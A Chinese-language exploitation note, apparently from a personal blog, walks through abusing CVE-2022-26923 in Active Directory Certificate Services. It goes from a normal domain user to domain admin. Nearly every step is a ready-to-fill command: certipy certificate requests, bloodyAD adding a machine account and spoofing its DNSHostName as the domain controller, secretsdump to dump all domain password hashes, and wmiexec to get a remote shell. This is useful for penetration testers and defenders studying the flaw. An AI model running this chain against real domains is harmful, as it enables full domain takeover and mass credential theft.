【笔记】CVE-2022-26923漏洞利用

前言

通过含有证书服务的域控服务器,实现Windows域控提权

准备工作

  • 目标域控具有Active Directory 证书服务
  • 拥有域用户权限

poc

  • 在域用户下执行命令,判断域控服务器是否有证书服务
  • 如果出现选择证书颁发机构弹窗,表示域控服务器具有证书服务
1
certutil -config - -ping
  • 选择证书颁发机构弹窗中获取CA计算机

申请低权限证书

下载依赖

1
2
3
4
python3 -m venv venv
source venv/bin/activate
pip3 install setuptools
pip3 install certipy-ad

申请低权限证书

  • 用于测试是否能正常申请证书

-u <domain>/<username>:指定域普通用户用户名
-p <password>:指定域普通用户密码
-ca <ca_name>-CA:指定上一步骤获取的CA证书办法机构
-target <ip>:指定域控的主机名或IP地址
-dc-ip <ip>:指定域控的IP地址
-dns <ip>:指定DNS服务器的IP地址

1
certipy req -u <domain>/<username> -p <password> -target <ip> -ca <ca_name>-CA -template User

-hashes <hash>:指定域普通用户密码哈希值

1
certipy req -u <domain>/<username> -hashes <hash> -target <ip> -ca <ca_name>-CA -template User

验证证书

<file>.pfx:上一步骤生成的证书文件

1
certipy auth -pfx <file>.pfx

添加计算机账户

下载项目

1
2
git clone https://github.com/CravateRouge/bloodyAD.git
cd bloodyAD

下载依赖

1
2
3
python3 -m venv venv
source venv/bin/activate
pip3 install -r requirements.txt

添加计算机账户并申请低权限证书

-d <domain>:指定域
-u <username>:指定域普通用户用户名
-p <password>:指定域普通用户密码
--host <ip>:指定域控的主机名或IP地址
<machine_name>:定义添加后的计算机账户名
<machine_password>:定义添加后的计算机账户密码

1
python3 bloodyAD.py -d <domain> -u <username> -p <password> --host <ip> addComputer <machine_name> <machine_password>

修改计算机账户属性

  • DNSHostName的属性值设置为与域控主机名相同,用于伪造DNS解析

<domain_controller_hostname>:域控服务器的主机名

1
python3 bloodyAD.py -d <domain> -u <username> -p <password> --host <ip> setAttribute 'CN=<machine_name>,CN=Computers,DC=<domain>,DC=local' DNSHostName '["<domain_controller_hostname>"]'

申请高权限证书

-u <domain>/<username>:指定上一步骤创建的计算机账户用户名
-p <password>:指定上一步骤创建的计算机账户密码
-ca <ca_name>-CA:指定上一步骤获取的CA证书办法机构
-target <ip>:指定域控的主机名或IP地址
-dc-ip <ip>:指定域控的IP地址
-dns <ip>:指定DNS服务器的IP地址

1
certipy req -u <domain>/<username> -p <password> -target <ip> -ca <ca_name>-CA -template Machine

验证证书

<file>.pfx:上一步骤生成的证书文件
-dc-ip <domain_ip>:指定域控服务器的IP地址

1
certipy auth -pfx <file>.pfx
  • 得到证书哈希值

远程连接域控

下载项目

1
2
git clone https://github.com/fortra/impacket.git
cd impacket/examples

导出域控管理员用户密码哈希值

  • 利用上一步骤申请的证书,登录域控服务器,获取所有域用户的密码哈希值

<username>:上一步骤申请证书的用户名
<hash>:上一步骤验证证书时得到的密码哈希值

1
python3 secretsdump.py <domain>/<username>@<domain_controller> -hashes :<hash>

以用户名和哈希值远程登录

<ip>:远程登录的目标主机IP地址,如果远程的是域控则指定域控的IP地址
<hash>:上一步骤获取的密码哈希值

1
python3 wmiexec.py <domain>/<username>@<ip> -hashes :<hash>

完成

参考文献

arttoolkit的博客